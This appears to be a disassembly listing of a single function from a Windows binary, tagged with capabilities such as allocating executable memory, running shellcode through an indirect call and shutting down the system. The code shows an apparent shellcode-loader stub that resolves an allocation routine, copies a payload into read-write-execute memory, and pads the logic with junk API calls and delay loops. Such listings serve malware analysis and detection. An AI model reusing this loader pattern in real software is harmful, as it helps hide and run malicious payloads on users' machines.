Function at 0x40573c
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1474
call fcn.00410c10
cmp dword [0x445c48], 0x5b1
push ebx
push esi
push edi
jne 0x40580f
xor ebx, ebx
push ebx
lea eax, [ebp - 0xc70]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push ebx
push 0x40506c
push 0x405088
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
call dword [sym.imp.ole32.dll_ReadClassStg]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x405094
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.00406487
pop ecx
push ebx
call fcn.00405c74
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405411
fstp st(0)
lea esi, [ebp - 0x18]
call fcn.004053d0
mov ecx, esi
call fcn.004053e7
push ebx
call fcn.00405f9b
pop ecx
call fcn.00405b3f
push ebx
call fcn.0040692f
add dword [0x445c48], 0x1134b
push 0x4050c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4050d4
push eax
mov dword [0x444b9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x445c48]
xor ebx, ebx
push ebx
mov dword [0x444b94], eax
call eax
xor esi, esi
mov dword [0x444b98], eax
cmp dword [0x445c48], ebx
jbe 0x405890
cmp dword [0x445c48], 0xa8
mov eax, dword [0x445c4c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x444b98]
mov byte [ecx + esi], al
jne 0x405887
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
inc esi
cmp esi, dword [0x445c48]
jb 0x40585b
xor esi, esi
mov eax, dword [0x445c48]
add eax, esi
cmp eax, 0xe
jne 0x405948
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x470]
push eax
push 0x4050e8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x870]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1470]
push eax
push 0x405138
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
inc esi
cmp esi, 0x39621
jl 0x405892
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x40597d
inc esi
cmp esi, 0x4f6a4
jl 0x405957
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x405982
call fcn.004056a7
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x4059b2
call fcn.00405722
inc esi
cmp esi, 0x6753f
jl 0x4059a1
push 0x7b
pop esi
cmp dword [0x445c48], 0x86
jne 0x405a05
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push ebx
lea eax, [ebp - 0x34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x405170
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec esi
jne 0x4059be
call fcn.00405483
pop edi
pop esi
pop ebx
leave
ret